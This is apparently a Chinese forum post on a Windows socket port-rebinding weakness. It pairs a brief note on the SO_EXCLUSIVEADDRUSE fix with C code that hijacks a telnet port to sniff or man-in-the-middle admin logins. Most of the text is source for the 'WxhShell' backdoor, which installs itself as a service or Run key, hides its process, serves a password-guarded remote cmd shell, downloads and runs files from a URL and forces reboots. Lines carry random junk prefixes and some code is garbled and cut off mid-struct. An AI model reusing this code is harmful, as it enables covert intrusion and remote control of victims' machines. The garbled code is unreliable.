在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bfxE}> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Wg-mJu( m}]{Y'i]R saddr.sin_family = AF_INET;
&;BhL%)} QiPqN$n saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_}l(i1o,/ |+cz\+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t~+M>Fjm?d <y6`8J7: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
PQHztS" -)V0D,r$[ 这意味着什么?意味着可以进行如下的攻击:
BZeEZ2" pzF_g-B 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T\6Qr$t X`8<;l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
A(y6]E! 1-kuK<KR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V3,C5KKk&z 9jal D
X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`G\
qGllX N*IroT3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1c$pz:$vX BtJkvg(2] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j+jC
J< j*%#~UFw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R`j"iC2 Pf;OYWST #include
uYC^&siS<s #include
/X}1%p #include
gwj?.7N*k #include
x\yM|WGL DWORD WINAPI ClientThread(LPVOID lpParam);
{cdICWy(F3 int main()
bmT%?it {
}<Ydj .85 WORD wVersionRequested;
a"( Ws]K DWORD ret;
Jz8P':6[ WSADATA wsaData;
_H| )g*]t BOOL val;
`m 5\ SOCKADDR_IN saddr;
Es=G' au SOCKADDR_IN scaddr;
[@K'}\U^+ int err;
rZUTBLZ`j SOCKET s;
& 9e SOCKET sc;
v`h>5#_[ int caddsize;
d?oXz| ;H( HANDLE mt;
(B#FLoK DWORD tid;
R@\fqNq wVersionRequested = MAKEWORD( 2, 2 );
dle\}Sy= err = WSAStartup( wVersionRequested, &wsaData );
gwaSgV$z if ( err != 0 ) {
4MC]s~n printf("error!WSAStartup failed!\n");
IOHWb&N6 return -1;
XpAJP++ }
z_c-1iXCW saddr.sin_family = AF_INET;
\`k=9{R. a~KtH;7< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
IADSWzQ@ B>u`%Ry& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8@3=SO saddr.sin_port = htons(23);
>?+Rtg|${ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!.h{/37] {
ruaZ(R[ printf("error!socket failed!\n");
b: (+d"S return -1;
H{cOkuy }
FK BRJ5O val = TRUE;
p\zqZ=s //SO_REUSEADDR选项就是可以实现端口重绑定的
9/"&6, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A1zRzg4 I {
eC/{c1C printf("error!setsockopt failed!\n");
AQ-PHv return -1;
\>$zxC_ }
pj %]t //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q/?*|4I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y%}&eN$r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
t[|rp&xG ivo3pibk% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2I:P}! {
$_JfM^w ret=GetLastError();
U&"L9o`2 printf("error!bind failed!\n");
EWJB/iED return -1;
jTwSyW }
bB@=J~l4 listen(s,2);
3[#^$_96b while(1)
:[a*I6/^ {
F-kjv\ caddsize = sizeof(scaddr);
\d:Q%S //接受连接请求
.#y#u={{l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C
b'| if(sc!=INVALID_SOCKET)
\BBs;z[/ {
kQI'kL8> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%@QxU-k_ if(mt==NULL)
QFTiE1mGH {
]MCH]/ printf("Thread Creat Failed!\n");
U<Oc&S{]* break;
Vg62HZ | }
zd_N' :6 }
Ry[7PLn] CloseHandle(mt);
#>yOp * }
D[^K0<-Z closesocket(s);
i~x]!! WSACleanup();
EG4~[5[YgI return 0;
+;+G+Tn }
)
`{jPK*` DWORD WINAPI ClientThread(LPVOID lpParam)
39^+;Mev {
{]Mwuqn SOCKET ss = (SOCKET)lpParam;
uP4yJ/] SOCKET sc;
Pjq'c+4.yL unsigned char buf[4096];
W,8Uu1X = SOCKADDR_IN saddr;
gZHgL7@ long num;
$\/i t DWORD val;
+PPQ"#1pS DWORD ret;
}^I36$\ //如果是隐藏端口应用的话,可以在此处加一些判断
o4: e1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
548L^"D saddr.sin_family = AF_INET;
/%&5Iq\:vA saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6[t(FcS saddr.sin_port = htons(23);
7 @\i5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p` ~=v4;b {
o0AT&<K printf("error!socket failed!\n");
+M.BMS2A<l return -1;
86LE
)z }
5XT^K)' val = 100;
z81dm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~F@p}u8TV {
bD)"Jy ret = GetLastError();
0x*1I1(c return -1;
q1HJ_y }
KrP?*yk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"T[BSj?E {
b1^wK"# ret = GetLastError();
L=54uCv
Q return -1;
(e_<~+E }
= ~s+<9c] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_an0G?7 {
q4X(_t printf("error!socket connect failed!\n");
BN&)5M?Xt6 closesocket(sc);
nh7_
jEX closesocket(ss);
UvMkL return -1;
_zbIS&4 }
,J 2qLH1 while(1)
NPv.7, {
w\[l4|g` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?9?A)?O<j~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
7oZ Pb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V ~jp num = recv(ss,buf,4096,0);
XD8Cf! if(num>0)
Qu<6X@+5 send(sc,buf,num,0);
|L*=\%t8 else if(num==0)
X}G$ON break;
m{$+ num = recv(sc,buf,4096,0);
v`L]dY4, if(num>0)
%J'/ cmR& send(ss,buf,num,0);
;k0Jl0[} else if(num==0)
.dYv.[?hL break;
5{W Aw ! }
erv94acq closesocket(ss);
nN.Gn+Cl closesocket(sc);
l(x0d return 0 ;
Zs|Ga,T }
]Vj($O: @=z.^I30 wIAH,3! ==========================================================
!m))Yp-"H N,B!D~@ 下边附上一个代码,,WXhSHELL
b
IxH0=f {o^tSEN!- ==========================================================
H9'psv c?<)!9: #include "stdafx.h"
tKyGD|g S IlO,Ql #include <stdio.h>
6jm?d"9 #include <string.h>
2aR9vmR #include <windows.h>
3S#p4{3 #include <winsock2.h>
* BrGh #include <winsvc.h>
izcjI.3e, #include <urlmon.h>
[QMN0#(h @x*xgf #pragma comment (lib, "Ws2_32.lib")
{m3#1iV9 #pragma comment (lib, "urlmon.lib")
C(h<s
e? y5c\\e #define MAX_USER 100 // 最大客户端连接数
,%A|:T] #define BUF_SOCK 200 // sock buffer
#mJRL[V5^ #define KEY_BUFF 255 // 输入 buffer
mw^>dv? uDJ;GD[yc #define REBOOT 0 // 重启
>Mh\jt\ #define SHUTDOWN 1 // 关机
fp(zd;BSQ $;(@0UDE #define DEF_PORT 5000 // 监听端口
ab9ec Z Y|wjt\M #define REG_LEN 16 // 注册表键长度
LRWM}'.s #define SVC_LEN 80 // NT服务名长度
[X /s^42 &:ZR% f // 从dll定义API
YH+(N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Uu*iL< ` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]8"U)fzmc. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}'}n~cA.{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%${$P+a`D /Q)I5sL@E // wxhshell配置信息
`<~=6H struct WSCFG {
~}{_/8'5 int ws_port; // 监听端口
<L*`WO]\l char ws_passstr[REG_LEN]; // 口令
wA7\K~fHV int ws_autoins; // 安装标记, 1=yes 0=no
# X1a v char ws_regname[REG_LEN]; // 注册表键名
7.
$wK. char ws_svcname[REG_LEN]; // 服务名
"doiD=b char ws_svcdisp[SVC_LEN]; // 服务显示名
dPpJDY0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
[\eVX`it char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mA.,.<xE@ int ws_downexe; // 下载执行标记, 1=yes 0=no
6~jAh@- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u^MRKLn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0#=xUk#LP` dg~lz8 0 };
WC=d@d)M I0H]s/*C%9 // default Wxhshell configuration
qAd=i0{N struct WSCFG wscfg={DEF_PORT,
6&;GC<].(y "xuhuanlingzhe",
KX;JX*)J 1,
J,?F+Qji&= "Wxhshell",
U8N X%*oW "Wxhshell",
)HI\T]; "WxhShell Service",
2<!IYEyT "Wrsky Windows CmdShell Service",
DOGGQ$0 "Please Input Your Password: ",
|qj"p 1,
V'>P lb.A "
http://www.wrsky.com/wxhshell.exe",
ig YYkt "Wxhshell.exe"
SWhzcqp };
;ow)N <Z PW5)") z // 消息定义模块
Iw.!*0$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|cnps$fk~ char *msg_ws_prompt="\n\r? for help\n\r#>";
9.xRDk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#C. char *msg_ws_ext="\n\rExit.";
#Ff8_xhP 2 char *msg_ws_end="\n\rQuit.";
}wp/,\_
> char *msg_ws_boot="\n\rReboot...";
xk/-TXB
0 char *msg_ws_poff="\n\rShutdown...";
;a>u7rw char *msg_ws_down="\n\rSave to ";
W,H8B%e KIv_
AMr char *msg_ws_err="\n\rErr!";
>`WfY(Lq char *msg_ws_ok="\n\rOK!";
R@pY+d9qp <'UGYY\wg0 char ExeFile[MAX_PATH];
/W*Z. int nUser = 0;
]&P\|b1*g HANDLE handles[MAX_USER];
{K"hlu[ int OsIsNt;
H"UJBO>$ '@@!lV SERVICE_STATUS serviceStatus;
ZB)R4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
^dk$6%0 u_+iH$zA // 函数声明
u;t~
z int Install(void);
Y-y yg4JH int Uninstall(void);
573,b7Yf int DownloadFile(char *sURL, SOCKET wsh);
%1jcY0zEQ int Boot(int flag);
pZ\7!rON void HideProc(void);
~ffT}q7^ int GetOsVer(void);
R)*DkL! int Wxhshell(SOCKET wsl);
JrY*K|YdW void TalkWithClient(void *cs);
9)W &yi int CmdShell(SOCKET sock);
OqciZ@#5n int StartFromService(void);
[|c%<|d2 int StartWxhshell(LPSTR lpCmdLine);
j-R*!i y2jw3R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3TCRCz VOID WINAPI NTServiceHandler( DWORD fdwControl );
,>b>I#{
6(-s@{ // 数据结构和表定义
of_y<dd[G SERVICE_TABLE_ENTRY DispatchTable[] =
ej}S{/<*n {
2yg6hR {wscfg.ws_svcname, NTServiceMain},
j:'g*IxM_ {NULL, NULL}
YK6'/2! };
$qYP|W M$Z2"F; // 自我安装
B1!xr-kC int Install(void)
>O24#!9XW {
0'Ho'wDb char svExeFile[MAX_PATH];
, p~1fB-/ HKEY key;
`ROHB@- strcpy(svExeFile,ExeFile);
6uo;4}0 n }A!aC // 如果是win9x系统,修改注册表设为自启动
Mhti if(!OsIsNt) {
300w\9fn& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
VSDua. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2 HQ3G~U RegCloseKey(key);
LYRpd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HBOyiIm Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D%yY&q;
RegCloseKey(key);
bz#]>RD return 0;
=iKl<CqI$E }
cXqYO|3/M }
C[
mTVxd }
KsOWTq"uj else {
JL1A3G JJtx `@Bc // 如果是NT以上系统,安装为系统服务
yTd8)zWq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L0!CHP/nRS if (schSCManager!=0)
W!? h2[ {
Qw'905;( SC_HANDLE schService = CreateService
nDC0^& (
Su2{ nNC> schSCManager,
-%yrs6 wscfg.ws_svcname,
|0=UZK7%O wscfg.ws_svcdisp,
+K'Hr:( SERVICE_ALL_ACCESS,
ZzupK^5Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
i}DS+~8v SERVICE_AUTO_START,
[A,^F0:h SERVICE_ERROR_NORMAL,
]$lt svExeFile,
rjK`t_(= NULL,
u7[}pf$} NULL,
sg^|dS{3D NULL,
w(6n NULL,
<8^x
Mjc NULL
k[ro[E );
,.W7Z~z if (schService!=0)
TMj;NSc3 {
I!S Eb CloseServiceHandle(schService);
!>`Fg>uy CloseServiceHandle(schSCManager);
JaRsm'SIk~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
n^T,R strcat(svExeFile,wscfg.ws_svcname);
kUgfFa#_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
V3t#kv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@GFB{ ;= RegCloseKey(key);
Y"MHs0O5> return 0;
pqfX}x }
R^*baiXVI }
}LT&BNZj CloseServiceHandle(schSCManager);
dg24h7|] }
%A$&9c% }
O9sEaVX \uJRjw+ return 1;
Q# B0JT1 }
$QC1l@[sM ;Y^'$I2fR# // 自我卸载
Zj_2>A int Uninstall(void)
O1z]d3x
{
1[SG. HKEY key;
FzJ7 OE| $0 olqt: if(!OsIsNt) {
4D0jt$== if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:dSda,!z RegDeleteValue(key,wscfg.ws_regname);
! ;t\lgMl RegCloseKey(key);
2]5{Xmmo9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XnQR(r)pR2 RegDeleteValue(key,wscfg.ws_regname);
Ku75YFO,5 RegCloseKey(key);
qcj {rG18 return 0;
-d\sKc }
"r-P[EKpL }
:u14_^ }
#s\@fp7A else {
L"m^LyU QJVbt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}~/b%^ if (schSCManager!=0)
%tyo(HZQ {
X/,)KTo7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}4A] x`3 if (schService!=0)
q<dG}aj {
*5%vU|9b if(DeleteService(schService)!=0) {
nF,F#V8l CloseServiceHandle(schService);
&<PIm CloseServiceHandle(schSCManager);
P]43FPb return 0;
V\;Xa0 }
_B0(1(M<2 CloseServiceHandle(schService);
\wK&wRn) }
f"ndLX:'} CloseServiceHandle(schSCManager);
@AEH?gOX }
LjI`$r.B }
X8$i*#D e73=*~kfR return 1;
^m |@pp }
l-+=Yk!X M^o_='\bE // 从指定url下载文件
SiLW[JXd int DownloadFile(char *sURL, SOCKET wsh)
DiFYVR<@ {
1!<t8,W4 HRESULT hr;
@8|*Ndx2 char seps[]= "/";
s?w2^<P char *token;
<\^0!v char *file;
QqA=QTZ} char myURL[MAX_PATH];
m\6/:~qWW char myFILE[MAX_PATH];
}/cReX,so .[Sis<A]% strcpy(myURL,sURL);
1M]=Nv token=strtok(myURL,seps);
ubcB<=xb while(token!=NULL)
9TW[;P2> ) {
D=0YLQ*rP file=token;
SMEl'y token=strtok(NULL,seps);
]`/>hH>+~9 }
%QezC+n 7n7Xyb GetCurrentDirectory(MAX_PATH,myFILE);
XX8HSw!w strcat(myFILE, "\\");
3uLG$`N strcat(myFILE, file);
q+?<cjVg send(wsh,myFILE,strlen(myFILE),0);
Xz_WFLq4 send(wsh,"...",3,0);
ZL(
j5E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$w0TEO! if(hr==S_OK)
$DY#04Je\= return 0;
Jo5B mh0 else
YM}a>o return 1;
F]aoTy h?mDtMCw2 }
V}jGxt0 K*/oWYM] // 系统电源模块
D*M `qPX~ int Boot(int flag)
EoAr}fI {
Q{l,4P HANDLE hToken;
bA^uzE TOKEN_PRIVILEGES tkp;
_~<sb,W JrzPDb`m if(OsIsNt) {
PCviQ!X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#e'>9T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d:%b tkp.PrivilegeCount = 1;
K./qu^+k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;TAj;Tf]H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m2PUU/8B/ if(flag==REBOOT) {
uo#1^`P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2u3Kyn return 0;
K10G+'H^ }
{VcRur}&Y8 else {
=zkN63S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-DI
>O/ return 0;
Aa
~W, }
(95|DCL }
#T=iS(i else {
Tagf7tw4 if(flag==REBOOT) {
J p'^! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{L-^J`> G return 0;
u{sHuVl }
B7%K}|Qg else {
4ud(5m;Rle if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
nu0pzq\6 return 0;
G+zhL6]F
}
2W,9HSu8 }
vV,TT%J8D y]db]pP5 return 1;
4^F[Gp? }
j4~(6Imm @8L5UT // win9x进程隐藏模块
M\]lNQ A void HideProc(void)
i|eX X)$ {
PLCm\Oh$l GA^hev HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
? i{?Q, if ( hKernel != NULL )
R"B{IWQi {
;uBGB
h< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
6S`_L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\<7Bx[/D4 FreeLibrary(hKernel);
=7 l
uV_5 }
Y2`sL,'h I dK*IA4 return;
m<CrkKfpG }
f:>y'#P 69c4bT:b" // 获取操作系统版本
?;XO1cs int GetOsVer(void)
Rl?1|$% {
.9J^\%JD OSVERSIONINFO winfo;
y``\^F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JRl=j2z GetVersionEx(&winfo);
DQG%`-J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
GcV/_Y return 1;
btW#ebm else
PmuG(qg return 0;
20c5U% }
@:N8V[*u PCT&d)} // 客户端句柄模块
Mu3G/|t( int Wxhshell(SOCKET wsl)
, $ 7-SN {
NI?O SOCKET wsh;
K#R]of~/ struct sockaddr_in client;
dxeiN#(XT DWORD myID;
,/f\ C[7!pd while(nUser<MAX_USER)
JwG(WLb: {
XGa8tI[:X int nSize=sizeof(client);
l.}PxZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,6^<Vg if(wsh==INVALID_SOCKET) return 1;
`OW'AS | ufXWK3~\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"Bd-h|J if(handles[nUser]==0)
9g6$"',H closesocket(wsh);
[ V.67_~ else
01.q9AGy nUser++;
GfONm6A }
L3eF BF/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,DFN:uf=l J!C \R5\ return 0;
@)pC3Vi^ }
9qap#A wB)y@w4k // 关闭 socket
;[y( 14g void CloseIt(SOCKET wsh)
gj^)T_E_ {
k4{!h?h closesocket(wsh);
Ej(BE@6>s nUser--;
ZqclmCi ExitThread(0);
SeHrj&5U }
c=v016r\ $ }/tlA&e // 客户端请求句柄
7Z>vQ f B void TalkWithClient(void *cs)
>CvhTrPI {
[4"(\r\f \uZpAV)5 SOCKET wsh=(SOCKET)cs;
$0V+< char pwd[SVC_LEN];
Uu7]`U l char cmd[KEY_BUFF];
RP~nLh3=\ char chr[1];
t|U5]$5 int i,j;
@qNY"c%HV 3@~a)E}T while (nUser < MAX_USER) {
ilL% bF _]j/ if(wscfg.ws_passstr) {
Kbu>U{' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<X*oW ". //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
& AK\Pw) //ZeroMemory(pwd,KEY_BUFF);
?`+VWa[,e i=0;
\GEz.Vb while(i<SVC_LEN) {
:!Ci#[g "`M~=RiI // 设置超时
Zh8\B)0unn fd_set FdRead;
H9WYt# struct timeval TimeOut;
P00G*iY~\ FD_ZERO(&FdRead);
l%+ &V^: FD_SET(wsh,&FdRead);
kqB# 9 TimeOut.tv_sec=8;
V Rv4p5 TimeOut.tv_usec=0;
-nGcm"'6F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=-^A;AO( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-;cF)C--12 0MRWx%CR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
lJ3VMYVrUP pwd
=chr[0]; @lB{!j&q
if(chr[0]==0xd || chr[0]==0xa) { A;8kC}
pwd=0; cW^LmA
break; ^_#wo"
} YeCnk:_ kg
i++; X3sAy(q
} c#x~x
<lzC|>BG
// 如果是非法用户,关闭 socket JWHsTnB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #`y[75<n
} dOv\]
DOyO`TJi
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sqhMnDn[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M"*NV(".g
d'(n/9K
while(1) { g=mKTk
4}C
\N
ZeroMemory(cmd,KEY_BUFF); L9) gN.#
y],opG6
// 自动支持客户端 telnet标准 vyS>3(NZ
j=0; =cRmaD
while(j<KEY_BUFF) { 4L>8RiiQE;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e!J5h<:
cmd[j]=chr[0]; >r`O@`^U
if(chr[0]==0xa || chr[0]==0xd) { B-g-T>8
cmd[j]=0; 4-
QlIIf
break; }`CF(Do
} )ThNy:4
j++; e(w c
[bv
} TDw~sxtv&
E^J &?-
// 下载文件 }@LIb<Y
if(strstr(cmd,"http://")) { |6^a[x3/U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xr^ 5Th\
if(DownloadFile(cmd,wsh)) rhLhFN{h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @(L}:]{@
else A< .5=E,/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L:C/PnIV
} d"5_x]Z;
else { z?13~e[D
Lu^uY7
?}
switch(cmd[0]) { !84Lvg0&
2XL^A[?
// 帮助 sDs.da#*2
case '?': { Q"s6HZ"YI
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xc+YoA0Ez
break; xJ<RQCW$
} ^/Hf$tYI!`
// 安装 hpQ #`rhn
case 'i': { 1q;R+65
if(Install()) 6 wd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '{0O!y[H6
else YKUAI+ks
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g@x72$j
break; <mP_K^9c
} 0Gj/yra9MO
// 卸载 a1_ N~4r`
case 'r': { N5l`Rq^K
if(Uninstall()) ax5n}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H,<CR9@(5d
else Zz (qc5o,F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _*=4xmB.=
break; Ng<ic
} o_\vudXK
// 显示 wxhshell 所在路径 =oXlJ[)h
case 'p': { XR8`,qH>
char svExeFile[MAX_PATH]; hgYFR6VH
strcpy(svExeFile,"\n\r"); `6-flc0r
strcat(svExeFile,ExeFile); BO}IN#
send(wsh,svExeFile,strlen(svExeFile),0); EO(l?Fgw]$
break; ?r=`Kl
} t,TlW^-
// 重启 g_ep
5#\D
case 'b': { 7V^j9TC
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K8KN<Q s]
if(Boot(REBOOT)) E9k%:&]vd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +z9BWo!{I
else { 1c/<2 xO~
closesocket(wsh); i.^UkN{
ExitThread(0); [qxpu{
} [jNVk3
break; L$a{%]I
} u`B/ 9-K)y
// 关机 c='W{47
case 'd': { Ib2&L
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m; =S]3P*
if(Boot(SHUTDOWN)) b"@-9ke5I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1cxZxGT
else { M`#g>~bI#R
closesocket(wsh); K~]Xx~F
ExitThread(0); 9*JxP%8T~X
} \3(s&K\Y6\
break; V@LBy1z
} 08@4u
L
// 获取shell -A}$5/
case 's': { Yrf?|,
CmdShell(wsh); 4]zn,g?&
closesocket(wsh); 902A,*qq
ExitThread(0); EhD%
break; h`Ej>O7m
} =|O]X|y-lZ
// 退出 >yenuqIKQv
case 'x': { #mioT",bm=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b+RU <qR
CloseIt(wsh); eJ[+3Wh
break; X`Lv}6}xT
} 4`5W] J]6
// 离开 %/U'Wu{*
case 'q': { |]:6IuslJ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); q 7W7sw
closesocket(wsh); V[^AV"V
WSACleanup(); 1mh7fZgn
exit(1); k,OxGG
break; \\Zsxya1
} 7!o#pt7
} ho#<?rh_
} rWJRoGk/
yq2AZ@}"
// 提示信息 we}5'bS>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B}y#AVSA
} 4ke.p<dG
} a~VW?wq
<vs*aFq
return; S"+#=C
} ^eV K.
}f{5-iwD}
// shell模块句柄 s)'+,lKw
int CmdShell(SOCKET sock) "FE%k>aV@v
{ f/kYm\Zc
STARTUPINFO si; #~rQ\A!4
ZeroMemory(&si,sizeof(si)); /ml+b8@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K)Ya%%6[U#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J| 46i
PROCESS_INFORMATION ProcessInfo; F_}y[Yn^
char cmdline[]="cmd"; : @gW3'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bLggh]Fh
return 0; <g&GIFE,
} 8BY`~TZO$q
E9.1~
)
// 自身启动模式 djdSD
int StartFromService(void) D+BflI~9mP
{ j9%vw.3b
typedef struct H?=[9?1wI5
{ C3<_0eI
DWORD ExitStatus; w(Mi?
DWORD PebBaseAddress; 6!U~dt#a
DWORD AffinityMask; #5{lOeN
